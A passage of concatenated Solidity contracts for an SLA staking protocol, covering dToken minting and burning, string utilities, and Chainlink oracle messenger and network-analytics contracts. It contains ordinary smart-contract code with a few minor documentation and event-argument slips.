* @param rewardPercentagePrecision 4. reward percentage for the provider
* @param rewardAmount 5. amount rewarded
*/
event ProviderRewardGenerated(
uint256 indexed periodId,
address indexed tokenAddress,
uint256 rewardPercentage,
uint256 rewardPercentagePrecision,
uint256 rewardAmount
);
event UserCompensationGenerated(
uint256 indexed periodId,
address indexed tokenAddress,
uint256 usersStake,
uint256 leverage,
uint256 compensation
);
event DTokensCreated(
address indexed tokenAddress,
address indexed dpTokenAddress,
string dpTokenName,
string dpTokenSymbol,
address indexed duTokenAddress,
string duTokenName,
string duTokenSymbol
);
/**
*@param _slaRegistryAddress 1. period type of the SLA
*@param _periodType 3. period type of the SLA
*@param _whitelistedContract 5. enables the white list feature
*@param _slaID 6. identifies the SLA to uniquely to emit dTokens
*/
constructor(
SLARegistry _slaRegistry,
PeriodRegistry.PeriodType _periodType,
bool _whitelistedContract,
uint128 _slaID,
uint64 _leverage,
address _contractOwner
) public {
stakeRegistry = _slaRegistry.stakeRegistry();
periodRegistry = _slaRegistry.periodRegistry();
periodType = _periodType;
whitelistedContract = _whitelistedContract;
(uint256 _DSLAburnRate, , , , , , , uint64 _maxLeverage) =
stakeRegistry.getStakingParameters();
dslaTokenAddress = stakeRegistry.DSLATokenAddress();
DSLAburnRate = _DSLAburnRate;
whitelist[_contractOwner] = true;
slaID = _slaID;
require(
_leverage <= _maxLeverage && _leverage >= 1,
"Incorrect leverage"
);
leverage = _leverage;
}
function addUsersToWhitelist(address[] memory _userAddresses)
public
onlyOwner
{
for (uint256 index = 0; index < _userAddresses.length; index++) {
if (whitelist[_userAddresses[index]] == false) {
whitelist[_userAddresses[index]] = true;
}
}
}
function removeUsersFromWhitelist(address[] calldata _userAddresses)
external
onlyOwner
{
for (uint256 index = 0; index < _userAddresses.length; index++) {
if (whitelist[_userAddresses[index]] == true) {
whitelist[_userAddresses[index]] = false;
}
}
}
/**
*@dev add a token to ve allowed for staking
*@param _tokenAddress 1. address of the new allowed token
*/
function addAllowedTokens(address _tokenAddress) external onlyOwner {
(, , , , , , uint256 maxTokenLength, ) =
stakeRegistry.getStakingParameters();
require(!isAllowedToken(_tokenAddress), "Token already added");
require(
stakeRegistry.isAllowedToken(_tokenAddress),
"Token not allowed by the SLARegistry contract"
);
allowedTokens.push(_tokenAddress);
require(
maxTokenLength >= allowedTokens.length,
"Allowed tokens length greater than max token length"
);
string memory dTokenID = StringUtils.uintToStr(slaID);
string memory duTokenName =
string(abi.encodePacked("DSLA-SHORT-", dTokenID));
string memory duTokenSymbol =
string(abi.encodePacked("DSLA-SP-", dTokenID));
string memory dpTokenName =
string(abi.encodePacked("DSLA-LONG-", dTokenID));
string memory dpTokenSymbol =
string(abi.encodePacked("DSLA-LP-", dTokenID));
ERC20PresetMinterPauser duToken =
ERC20PresetMinterPauser(
stakeRegistry.createDToken(duTokenName, duTokenSymbol)
);
ERC20PresetMinterPauser dpToken =
ERC20PresetMinterPauser(
stakeRegistry.createDToken(dpTokenName, dpTokenSymbol)
);
dpTokenRegistry[_tokenAddress] = dpToken;
duTokenRegistry[_tokenAddress] = duToken;
emit DTokensCreated(
_tokenAddress,
address(dpToken),
dpTokenName,
dpTokenName,
address(duToken),
duTokenName,
duTokenName
);
}
/**
*@dev increase the amount staked per token
*@param _amount 1. amount to be staked
*@param _tokenAddress 2. address of the token
*@notice providers can stake at any time
*@notice users can stake at any time but no more than provider pool
*/
function _stake(uint256 _amount, address _tokenAddress)
internal
onlyAllowedToken(_tokenAddress)
onlyWhitelisted
{
ERC20(_tokenAddress).safeTransferFrom(
msg.sender,
address(this),
_amount
);
//duTokens
if (msg.sender != owner()) {
(uint256 providerStake, uint256 usersStake) =
(providerPool[_tokenAddress], usersPool[_tokenAddress]);
require(
usersStake.add(_amount).mul(leverage) <= providerStake,
"Incorrect user stake"
);
ERC20PresetMinterPauser duToken = duTokenRegistry[_tokenAddress];
uint256 p0 = duToken.totalSupply();
// if there's no minted tokens, then create 1-1 proportion
if (p0 == 0) {
duToken.mint(msg.sender, _amount);
} else {
uint256 t0 = usersPool[_tokenAddress];
// mint dTokens proportionally
uint256 mintedDUTokens = _amount.mul(p0).div(t0);
duToken.mint(msg.sender, mintedDUTokens);
}
usersPool[_tokenAddress] = usersPool[_tokenAddress].add(_amount);
//dpTokens
} else {
ERC20PresetMinterPauser dpToken = dpTokenRegistry[_tokenAddress];
uint256 p0 = dpToken.totalSupply();
if (p0 == 0) {
dpToken.mint(msg.sender, _amount);
} else {
uint256 t0 = providerPool[_tokenAddress];
// mint dTokens proportionally
uint256 mintedDPTokens = _amount.mul(p0).div(t0);
dpToken.mint(msg.sender, mintedDPTokens);
}
providerPool[_tokenAddress] = providerPool[_tokenAddress].add(
_amount
);
}
if (registeredStakers[msg.sender] == false) {
registeredStakers[msg.sender] = true;
stakers.push(msg.sender);
}
}
/**
*@dev sets the provider reward
*@notice it calculates the usersStake and calculates the provider reward from it.
* @param _periodId 1. id of the period
* @param _rewardPercentage to calculate the provider reward
* @param _precision used to avoid getting 0 after division in the SLA's registerSLI function
*/
function _setRespectedPeriodReward(
uint256 _periodId,
uint256 _rewardPercentage,
uint256 _precision
) internal {
for (uint256 index = 0; index < allowedTokens.length; index++) {
address tokenAddress = allowedTokens[index];
uint256 usersStake = usersPool[tokenAddress];
uint256 reward = usersStake.mul(_rewardPercentage).div(_precision);
usersPool[tokenAddress] = usersPool[tokenAddress].sub(reward);
providerPool[tokenAddress] = providerPool[tokenAddress].add(reward);
emit ProviderRewardGenerated(
_periodId,
tokenAddress,
_rewardPercentage,
_precision,
reward
);
}
}
/**
*@dev sets the users compensation pool
*@notice it calculates the usersStake and calculates the users compensation from it
*/
function _setUsersCompensation(uint256 _periodId) internal {
for (uint256 index = 0; index < allowedTokens.length; index++) {
address tokenAddress = allowedTokens[index];
uint256 usersStake = usersPool[tokenAddress];
uint256 compensation = usersStake.mul(leverage);
providerPool[tokenAddress] = providerPool[tokenAddress].sub(
compensation
);
usersPool[tokenAddress] = usersPool[tokenAddress].add(compensation);
emit UserCompensationGenerated(
_periodId,
tokenAddress,
usersStake,
leverage,
compensation
);
}
}
/**
*@dev withdraw staked tokens. Only dpToken owners can withdraw,
*@param _amount 1. amount to be withdrawn
*@param _tokenAddress 2. address of the token
*@param _contractFinished 3. contract finished
*/
function _withdrawProviderTokens(
uint256 _amount,
address _tokenAddress,
bool _contractFinished
) internal onlyAllowedToken(_tokenAddress) {
uint256 providerStake = providerPool[_tokenAddress];
uint256 usersStake = usersPool[_tokenAddress];
if (!_contractFinished) {
require(
providerStake.sub(_amount) >= usersStake.mul(leverage),
"Incorrect withdraw"
);
}
ERC20PresetMinterPauser dpToken = dpTokenRegistry[_tokenAddress];
uint256 p0 = dpToken.totalSupply();
uint256 t0 = providerPool[_tokenAddress];
// Burn duTokens in a way that it doesn't affect the PoolTokens/LPTokens average
// t0/p0 = (t0-_amount)/(p0-burnedDPTokens)
// burnedDPTokens = _amount*p0/t0
uint256 burnedDPTokens = _amount.mul(p0).div(t0);
dpToken.burnFrom(msg.sender, burnedDPTokens);
providerPool[_tokenAddress] = providerPool[_tokenAddress].sub(_amount);
ERC20(_tokenAddress).safeTransfer(msg.sender, _amount);
}
/**
*@dev withdraw staked tokens. Only duToken owners can withdraw,
*@param _amount 1. amount to be withdrawn
*@param _tokenAddress 2. address of the token
*/
function _withdrawUserTokens(uint256 _amount, address _tokenAddress)
internal
onlyAllowedToken(_tokenAddress)
{
ERC20PresetMinterPauser duToken = duTokenRegistry[_tokenAddress];
uint256 p0 = duToken.totalSupply();
uint256 t0 = usersPool[_tokenAddress];
// Burn duTokens in a way that it doesn't affect the PoolTokens/LPTokens
// average for current period.
// t0/p0 = (t0-_amount)/(p0-burnedDUTokens)
// burnedDUTokens = _amount*p0/t0
uint256 burnedDUTokens = _amount.mul(p0).div(t0);
duToken.burnFrom(msg.sender, burnedDUTokens);
usersPool[_tokenAddress] = usersPool[_tokenAddress].sub(_amount);
ERC20(_tokenAddress).safeTransfer(msg.sender, _amount);
}
/**
*@dev use this function to evaluate the length of the allowed tokens length
*@return allowedTokens.length
*/
function getAllowedTokensLength() external view returns (uint256) {
return allowedTokens.length;
}
function getTokenStake(address _staker, uint256 _allowedTokenIndex)
external
view
returns (address tokenAddress, uint256 stake)
{
address allowedTokenAddress = allowedTokens[_allowedTokenIndex];
if (_staker == owner()) {
return (allowedTokenAddress, providerPool[allowedTokenAddress]);
} else {
ERC20PresetMinterPauser dToken =
duTokenRegistry[allowedTokenAddress];
uint256 dTokenSupply = dToken.totalSupply();
if (dTokenSupply == 0) {
return (allowedTokenAddress, 0);
}
uint256 dTokenBalance = dToken.balanceOf(_staker);
return (
allowedTokenAddress,
usersPool[allowedTokenAddress].mul(dTokenBalance).div(
dTokenSupply
)
);
}
}
/**
*@dev checks in the allowedTokens array if there's a token with _tokenAddress value
*@param _tokenAddress 1. token address to check exixtence
*@return true if _tokenAddress exists in the allowedTokens array
*/
function isAllowedToken(address _tokenAddress) public view returns (bool) {
for (uint256 index = 0; index < allowedTokens.length; index++) {
if (allowedTokens[index] == _tokenAddress) {
return true;
}
}
return false;
}
}
// solhint-disable-line
pragma solidity 0.6.6;
library StringUtils {
function addressToString(address _address)
external
pure
returns (string memory)
{
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _string = new bytes(42);
_string[0] = "0";
_string[1] = "x";
for (uint256 i = 0; i < 20; i++) {
_string[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)];
_string[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_string);
}
function bytes32ToStr(bytes32 _bytes32)
external
pure
returns (string memory)
{
uint8 i = 0;
while (i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
function bytesToUint(bytes calldata b)
external
pure
returns (uint256 result)
{
result = 0;
for (uint256 i = 0; i < b.length; i++) {
if (uint8(b[i]) >= 48 && uint8(b[i]) <= 57) {
result = result * 10 + (uint8(b[i]) - 48);
}
}
return result;
}
/*
ORACLIZE_API
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
function uintToStr(uint256 _i)
external
pure
returns (string memory _uintAsString)
{
uint256 number = _i;
if (number == 0) {
return "0";
}
uint256 j = number;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (number != 0) {
bstr[k--] = bytes1(uint8(48 + (number % 10)));
number /= 10;
}
return string(bstr);
}
}
pragma solidity 0.6.6;
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title IMessenger
* @dev Interface to create new Messenger contract to add lo Messenger lists
*/
abstract contract IMessenger is Ownable {
struct SLIRequest {
address slaAddress;
uint256 periodId;
}
/**
* @dev event emitted when having a response from Chainlink with the SLI
* @param slaAddress 1. SLA address to store the SLI
* @param periodId 2. id of the Chainlink request
* @param requestId 3. id of the Chainlink request
* @param chainlinkResponse 4. response from Chainlink
*/
event SLIReceived(
address indexed slaAddress,
uint256 periodId,
bytes32 indexed requestId,
bytes32 chainlinkResponse
);
/**
* @dev sets the SLARegistry contract address and can only be called once
*/
function setSLARegistry() external virtual;
/**
* @dev creates a ChainLink request to get a new SLI value for the
* given params. Can only be called by the SLARegistry contract or Chainlink Oracle.
* @param _periodId 1. id of the period to be queried
* @param _slaAddress 2. address of the receiver SLA
* @param _slaAddress 2. if approval by owner or msg.sender
*/
function requestSLI(
uint256 _periodId,
address _slaAddress,
bool _ownerApproval,
address _callerAddress
) external virtual;
/**
* @dev callback function for the Chainlink SLI request which stores
* the SLI in the SLA contract
* @param _requestId the ID of the ChainLink request
* @param _chainlinkResponseUint256 response object from Chainlink Oracles
*/
function fulfillSLI(bytes32 _requestId, uint256 _chainlinkResponseUint256)
external
virtual;
/**
* @dev gets the messenger precision
*/
function messengerPrecision() external view virtual returns (uint256);
/**
* @dev gets the slaRegistryAddress
*/
function slaRegistryAddress() external view virtual returns (address);
/**
* @dev gets the chainlink oracle contract address
*/
function oracle() external view virtual returns (address);
/**
* @dev gets the chainlink job id
*/
function jobId() external view virtual returns (bytes32);
/**
* @dev gets the fee amount of LINK token
*/
function fee() external view virtual returns (uint256);
/**
* @dev returns the requestsCounter
*/
function requestsCounter() external view virtual returns (uint256);
/**
* @dev returns the fulfillsCounter
*/
function fulfillsCounter() external view virtual returns (uint256);
}
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "@chainlink/contracts/src/v0.6/ChainlinkClient.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "../../StringUtils.sol";
import "../../PeriodRegistry.sol";
import "../../StakeRegistry.sol";
/**
* @title NetworkAnalytics
* @dev contract to get the network analytics for the staking efficiency use case
*/
contract NetworkAnalytics is Ownable, ChainlinkClient, ReentrancyGuard {
using SafeERC20 for ERC20;
struct AnalyticsRequest {
bytes32 networkName;
uint256 periodId;
PeriodRegistry.PeriodType periodType;
}
/// @dev Period registry
PeriodRegistry private periodRegistry;
/// @dev StakeRegistry
StakeRegistry private stakeRegistry;
/// @dev bytes32 to store the available network names
bytes32[] public networkNames;
/// @dev (networkName=>periodType=>periodId=>bytes32) to store ipfsHash of the analytics corresponding to periodId
mapping(bytes32 => mapping(PeriodRegistry.PeriodType => mapping(uint256 => bytes32)))
public periodAnalytics;
/// @dev (networkName=>periodType=>periodId=>bool) to state if a network-periodType-periodId was already requested
mapping(bytes32 => mapping(PeriodRegistry.PeriodType => mapping(uint256 => bool)))
public periodAnalyticsRequested;
/// @dev Mapping that stores chainlink analytics request information
mapping(bytes32 => AnalyticsRequest) public requestIdToAnalyticsRequest;
/// @dev Array with all request IDs
bytes32[] public requests;
/// @dev Chainlink oracle address
address private oracle;
/// @dev chainlink jobId
bytes32 private jobId;
/// @dev fee for Chainlink querys. Currently 0.1 LINK
uint256 private baseFee = 0.1 ether;
/// @dev fee for Chainlink querys. Currently 0.1 LINK
uint256 public fee;
/**
* @dev event emitted when modifying the callerReward
* @param owner 1. -
* @param newValue 2. -
*/
event CallerRewardModified(address indexed owner, uint256 newValue);
/**
* @dev event emitted when modifying the jobId
* @param owner 1. -
* @param jobId 2. -
* @param fee 3. -
*/
event JobIdModified(address indexed owner, bytes32 jobId, uint256 fee);
/**
* @dev event emitted when having a response from Chainlink with the SLI
* @param networkName 1. network name
* @param periodType 2. id of the period
* @param periodId 3. id of the period
* @param ipfsHash 4. hash of the ipfs object
*/
event AnalyticsReceived(
bytes32 networkName,
PeriodRegistry.PeriodType periodType,
uint256 periodId,
bytes32 ipfsHash
);
/**
* @dev parameterize the variables according to network
* @notice sets the Chainlink parameters (oracle address, token address, jobId) and sets the SLARegistry to 0x0 address
* @param _chainlinkOracle 1. the address of the oracle to create requests to
* @param _chainlinkToken 2. the address of LINK token contract
* @param _jobId 3. the job id for the HTTPGet job
* @param _periodRegistry 4. period registry
* @param _stakeRegistry 5. stake registry
* @param _feeMultiplier 6. states the amount of paid nodes running behind the precoordinator, to set the fee
*/
constructor(
address _chainlinkOracle,
address _chainlinkToken,
bytes32 _jobId,
PeriodRegistry _periodRegistry,
StakeRegistry _stakeRegistry,
uint256 _feeMultiplier
) public {
jobId = _jobId;
setChainlinkToken(_chainlinkToken);
oracle = _chainlinkOracle;
periodRegistry = _periodRegistry;
stakeRegistry = _stakeRegistry;
fee = _feeMultiplier.mul(baseFee);
}
function isValidNetwork(bytes32 _networkName) public view returns (bool) {
for (uint256 index; index < networkNames.length; index++) {
if (networkNames[index] == _networkName) return true;
}
return false;
}
/**
* @dev function to add a valid network name
* @param _networkName 1. bytes32 network name
*/
function addNetwork(bytes32 _networkName)
external
onlyOwner
returns (bool)
{
require(
isValidNetwork(_networkName) == false,
"Network name already registered"
);
networkNames.push(_networkName);
return false;
}
/**
* @dev function to add multiple valid network names
* @param _networkNames 1. bytes32[] network names
*/
function addMultipleNetworks(bytes32[] calldata _networkNames)
external
onlyOwner
returns (bool)
{
for (uint256 index = 0; index < _networkNames.length; index++) {
if (!isValidNetwork(_networkNames[index])) {
networkNames.push(_networkNames[index]);
}
}
return false;
}
/**
* @dev Request analytics object for the current period.
* @param _periodId 1. id of the canonical period to be analyzed
* @param _periodType 2. type of period to be queried
* @param _networkName 3. network name to publish analytics
* @param _ownerApproval 4. used to choose if the call is going to be funded by the contract owner, to avoid a block by contract owner
*/
function requestAnalytics(
uint256 _periodId,
PeriodRegistry.PeriodType _periodType,
bytes32 _networkName,
bool _ownerApproval
) public nonReentrant {
require(isValidNetwork(_networkName), "Invalid network name");
bool periodIsFinished =
periodRegistry.periodIsFinished(_periodType, _periodId);
require(periodIsFinished == true, "Period has not finished yet");
require(
periodAnalyticsRequested[_networkName][_periodType][_periodId] ==
false,
"Analytics already requested"
);
if (_ownerApproval) {
ERC20(chainlinkTokenAddress()).safeTransferFrom(
owner(),
address(this),
fee
);
} else {
ERC20(chainlinkTokenAddress()).safeTransferFrom(
msg.sender,
address(this),
fee
);
}
Chainlink.Request memory request =
buildChainlinkRequest(
jobId,
address(this),
this.fulFillAnalytics.selector
);
(uint256 start, uint256 end) =
periodRegistry.getPeriodStartAndEnd(_periodType, _periodId);
request.add("job_type", "staking_efficiency_analytics");
request.add("network_name", StringUtils.bytes32ToStr(_networkName));
request.add("period_id", StringUtils.uintToStr(_periodId));
request.add(
"period_type",
StringUtils.uintToStr(uint256(uint8(_periodType)))
);
request.add("sla_monitoring_start", StringUtils.uintToStr(start));
request.add("sla_monitoring_end", StringUtils.uintToStr(end));
bytes32 requestId = sendChainlinkRequestTo(oracle, request, fee);
requests.push(requestId);
requestIdToAnalyticsRequest[requestId] = AnalyticsRequest({
networkName: _networkName,
periodId: _periodId,
periodType: _periodType
});
periodAnalyticsRequested[_networkName][_periodType][_periodId] = true;
}
/**
* @dev callback function for the Chainlink SLI request which stores
* the SLI in the SLA contract
* @param _requestId the ID of the ChainLink request
* @param _chainlinkResponse response object from Chainlink Oracles
*/
function fulFillAnalytics(bytes32 _requestId, bytes32 _chainlinkResponse)
external
recordChainlinkFulfillment(_requestId)
nonReentrant
{
AnalyticsRequest memory request =
requestIdToAnalyticsRequest[_requestId];
emit AnalyticsReceived(
request.networkName,
request.periodType,
request.periodId,
_chainlinkResponse
);
periodAnalytics[request.networkName][request.periodType][
request.periodId
] = _chainlinkResponse;
}
/**
* @dev sets a new jobId, which is a agreement Id of a PreCoordinator contract
* @param _jobId the id of the PreCoordinator agreement
* @param _feeMultiplier how many Chainlink nodes would be paid on the agreement id, to set the fee value
*/
function setChainlinkJobID(bytes32 _jobId, uint256 _feeMultiplier)
external
onlyOwner
{
jobId = _jobId;
fee = _feeMultiplier.mul(baseFee);
emit JobIdModified(msg.sender, _jobId, fee);
}
function getNetworkNames()
external
view
returns (bytes32[] memory networks)
{
networks = networkNames;
}
}
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "@chainlink/contracts/src/v0.6/ChainlinkClient.sol";
import "../../SLA.sol";
import "../../PeriodRegistry.sol";
import "../../StringUtils.sol";
import "./NetworkAnalytics.sol";
import "../../messenger/IMessenger.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/**
* @title SEMessenger
* @dev Staking efficiency Messenger
*/
contract SEMessenger is ChainlinkClient, IMessenger, ReentrancyGuard {
using SafeERC20 for ERC20;
/// @dev Mapping that stores chainlink sli request information
mapping(bytes32 => SLIRequest) public requestIdToSLIRequest;
/// @dev Array with all request IDs
bytes32[] public requests;
/// @dev The address of the SLARegistry contract
address private _slaRegistryAddress;
/// @dev Network analytics contract address
address public immutable networkAnalyticsAddress;
/// @dev Chainlink oracle address
address private immutable _oracle;
/// @dev chainlink jobId
bytes32 private _jobId;
// @dev fee for Chainlink querys. Currently 0.1 LINK
uint256 private constant _baseFee = 0.1 ether;
/// @dev fee for Chainlink querys. Currently 0.1 LINK
uint256 private _fee;
/// @dev to multiply the SLI value and get better precision. Useful to deploy SLO correctly
uint256 private constant _messengerPrecision = 10**3;
uint256 private _requestsCounter;
uint256 private _fulfillsCounter;
/**
* @dev parameterize the variables according to network
* @notice sets the Chainlink parameters (oracle address, token address, jobId) and sets the SLARegistry to 0x0 address
* @param _messengerChainlinkOracle 1. the address of the oracle to create requests to
* @param _messengerChainlinkToken 2. the address of LINK token contract
* @param _messengerJobId 3. the job id for Staking efficiency job
* @param _networkAnalyticsAddress 4. Network analytics contract address
* @param _feeMultiplier 6. states the amount of paid nodes running behind the precoordinator, to set the fee
*/
constructor(
address _messengerChainlinkOracle,
address _messengerChainlinkToken,
bytes32 _messengerJobId,
address _networkAnalyticsAddress,
uint256 _feeMultiplier
) public {
_jobId = _messengerJobId;
setChainlinkToken(_messengerChainlinkToken);
_oracle = _messengerChainlinkOracle;
networkAnalyticsAddress = _networkAnalyticsAddress;
_fee = _feeMultiplier * _baseFee;
}
/**
* @dev event emitted when modifying the jobId
* @param owner 1. -
* @param jobId 2. -
* @param fee 3. -
*/
event JobIdModified(address indexed owner, bytes32 jobId, uint256 fee);
/**
* @dev event emitted when modifying the jobId
* @param caller 1. -
* @param requestsCounter 2. -
* @param requestId 3. -
*/
event SLIRequested(
address indexed caller,
uint256 requestsCounter,
bytes32 requestId
);
/// @dev Throws if called by any address other than the SLARegistry contract or Chainlink Oracle.
modifier onlySLARegistry() {
require(
msg.sender == _slaRegistryAddress,
"Can only be called by SLARegistry"
);
_;
}
/**
* @dev sets the SLARegistry contract address and can only be called
* once
*/
function setSLARegistry() public override {
// Only able to trigger this function once
require(
_slaRegistryAddress == address(0),
"SLARegistry address has already been set"
);
_slaRegistryAddress = msg.sender;
}
/**
* @dev creates a ChainLink request to get a new SLI value for the
* given params. Can only be called by the SLARegistry contract or Chainlink Oracle.
* @param _periodId 1. value of the period id
* @param _slaAddress 2. SLA Address
* @param _messengerOwnerApproval 3. if approval by owner or msg sender
*/
function requestSLI(
uint256 _periodId,
address _slaAddress,
bool _messengerOwnerApproval,
address _callerAddress
) public override onlySLARegistry nonReentrant {
SLA sla = SLA(_slaAddress);
PeriodRegistry.PeriodType periodType = sla.periodType();
// extraData[0] is the networkName for StakingEfficiency use case
bytes32 networkName = sla.extraData(0);
bytes32 ipfsAnalytics =
NetworkAnalytics(networkAnalyticsAddress).periodAnalytics(
networkName,
periodType,
_periodId
);
require(
ipfsAnalytics != 0,
"Network analytics object is not assigned yet"
);
if (_messengerOwnerApproval) {
ERC20(chainlinkTokenAddress()).safeTransferFrom(
owner(),
address(this),
_fee
);
} else {
ERC20(chainlinkTokenAddress()).safeTransferFrom(
_callerAddress,
address(this),
_fee
);
}
Chainlink.Request memory request =
buildChainlinkRequest(
_jobId,
address(this),
this.fulfillSLI.selector
);
request.add("job_type", "staking_efficiency");
request.add("period_id", StringUtils.uintToStr(_periodId));
request.add("sla_address", StringUtils.addressToString(_slaAddress));
request.add(
"network_analytics_address",
StringUtils.addressToString(networkAnalyticsAddress)
);
// Sends the request with 0.1 LINK to the oracle contract
bytes32 requestId = sendChainlinkRequestTo(_oracle, request, _fee);
requests.push(requestId);
requestIdToSLIRequest[requestId] = SLIRequest({
slaAddress: _slaAddress,
periodId: _periodId
});
_requestsCounter += 1;
emit SLIRequested(_callerAddress, _requestsCounter, requestId);
}
/**
* @dev callback function for the Chainlink SLI request which stores
* the SLI in the SLA contract
* @param _requestId the ID of the ChainLink request
* @param _chainlinkResponseUint256 response object from Chainlink Oracles
*/
function fulfillSLI(bytes32 _requestId, uint256 _chainlinkResponseUint256)
external
override
nonReentrant
recordChainlinkFulfillment(_requestId)
{
bytes32 _chainlinkResponse = bytes32(_chainlinkResponseUint256);
SLIRequest memory request = requestIdToSLIRequest[_requestId];
emit SLIReceived(
request.slaAddress,
request.periodId,
_requestId,
_chainlinkResponse
);
(uint256 hits, uint256 misses) = parseSLIData(_chainlinkResponse);
uint256 total = hits.add(misses);
uint256 stakingEfficiency =
hits.mul(100 * _messengerPrecision).div(total);
SLA(request.slaAddress).registerSLI(
stakingEfficiency,
request.periodId
);
_fulfillsCounter += 1;
}
/**
* @dev recieves a string of "hits,misses" data and returns hits and misses as uint256
* @param sliData the ID of the ChainLink request
*/
function parseSLIData(bytes32 sliData)
public
pure
returns (uint256, uint256)
{
bytes memory bytesSLIData = bytes(StringUtils.bytes32ToStr(sliData));
uint256 sliDataLength = bytesSLIData.length;
bytes memory bytesHits = new bytes(sliDataLength);
bytes memory bytesMisses = new bytes(sliDataLength);
for (uint256 index; index < sliDataLength; index++) {
if (bytesSLIData[index] == bytes1(",")) {
for (uint256 index2 = 0; index2 < index; index2++) {
bytesHits[index2] = bytesSLIData[index2];
}
for (
uint256 index3 = 0;
index3 < sliDataLength - index - 1;
index3++
) {
bytesMisses[index3] = bytesSLIData[index + 1 + index3];
}
}
}
uint256 hits = StringUtils.bytesToUint(bytesHits);
uint256 misses = StringUtils.bytesToUint(bytesMisses);
return (hits, misses);
}
/**
* @dev sets a new jobId, which is a agreement Id of a PreCoordinator contract
* @param _newJobId the id of the PreCoordinator agreement
* @param _feeMultiplier how many Chainlink nodes would be paid on the agreement id, to set the fee value
*/
function setChainlinkJobID(bytes32 _newJobId, uint256 _feeMultiplier)
external
onlyOwner
{
_jobId = _newJobId;
_fee = _feeMultiplier * _baseFee;
emit JobIdModified(msg.sender, _newJobId, _fee);
}
/**
* @dev returns the value of the sla registry address
*/
function slaRegistryAddress() external view override returns (address) {
return _slaRegistryAddress;
}
/**
* @dev returns the value of the messenger precision
*/
function messengerPrecision() external view override returns (uint256) {
return _messengerPrecision;
}
/**
* @dev returns the chainlink oracle contract address
*/
function oracle() external view override returns (address) {
return _oracle;
}
/**
* @dev returns the chainlink job id
*/
function jobId() external view override returns (bytes32) {
return _jobId;
}
/**
* @dev returns the chainlink fee value on LINK tokens
*/
function fee() external view override returns (uint256) {
return _fee;
}
/**
* @dev returns the requestsCounter
*/
function requestsCounter() external view override returns (uint256) {
return _requestsCounter;
}
/**
* @dev returns the fulfillsCounter
*/
function fulfillsCounter() external view override returns (uint256) {
return _fulfillsCounter;
}
}
pragma solidity ^0.6.0;
import { CBORChainlink } from "./vendor/CBORChainlink.sol";
import { BufferChainlink } from "./vendor/BufferChainlink.sol";
/**
* @title Library for common Chainlink functions
* @dev Uses imported CBOR library for encoding to buffer
*/
library Chainlink {
uint256 internal constant defaultBufferSize = 256; // solhint-disable-line const-name-snakecase
using CBORChainlink for BufferChainlink.buffer;
struct Request {
bytes32 id;
address callbackAddress;
bytes4 callbackFunctionId;
uint256 nonce;
BufferChainlink.buffer buf;
}
/**
* @notice Initializes a Chainlink request
* @dev Sets the ID, callback address, and callback function signature on the request
* @param self The uninitialized request
* @param _id The Job Specification ID
* @param _callbackAddress The callback address
* @param _callbackFunction The callback function signature
* @return The initialized request
*/
function initialize(
Request memory self,
bytes32 _id,
address _callbackAddress,
bytes4 _callbackFunction
) internal pure returns (Chainlink.Request memory) {
BufferChainlink.init(self.buf, defaultBufferSize);
self.id = _id;
self.callbackAddress = _callbackAddress;
self.callbackFunctionId = _callbackFunction;
return self;
}
/**
* @notice Sets the data for the buffer without encoding CBOR on-chain
* @dev CBOR can be closed with curly-brackets {} or they can be left off
* @param self The initialized request
* @param _data The CBOR data
*/
function setBuffer(Request memory self, bytes memory _data)
internal pure
{
BufferChainlink.init(self.buf, _data.length);
BufferChainlink.append(self.buf, _data);
}
/**
* @notice Adds a string value to the request with a given key name
* @param self The initialized request
* @param _key The name of the key
* @param _value The string value to add
*/
function add(Request memory self, string memory _key, string memory _value)
internal pure
{
self.buf.encodeString(_key);
self.buf.encodeString(_value);
}
/**
* @notice Adds a bytes value to the request with a given key name
* @param self The initialized request
* @param _key The name of the key
* @param _value The bytes value to add
*/
function addBytes(Request memory self, string memory _key, bytes memory _value)
internal pure
{
self.buf.encodeString(_key);
self.buf.encodeBytes(_value);
}
/**
* @notice Adds a int256 value to the request with a given key name
* @param self The initialized request
* @param _key The name of the key
* @param _value The int256 value to add
*/
function addInt(Request memory self, string memory _key, int256 _value)
internal pure
{
self.buf.encodeString(_key);
self.buf.encodeInt(_value);
}
/**
* @notice Adds a uint256 value to the request with a given key name
* @param self The initialized request
* @param _key The name of the key
* @param _value The uint256 value to add
*/
function addUint(Request memory self, string memory _key, uint256 _value)
internal pure
{
self.buf.encodeString(_key);
self.buf.encodeUInt(_value);
}
/**
* @notice Adds an array of strings to the request with a given key name
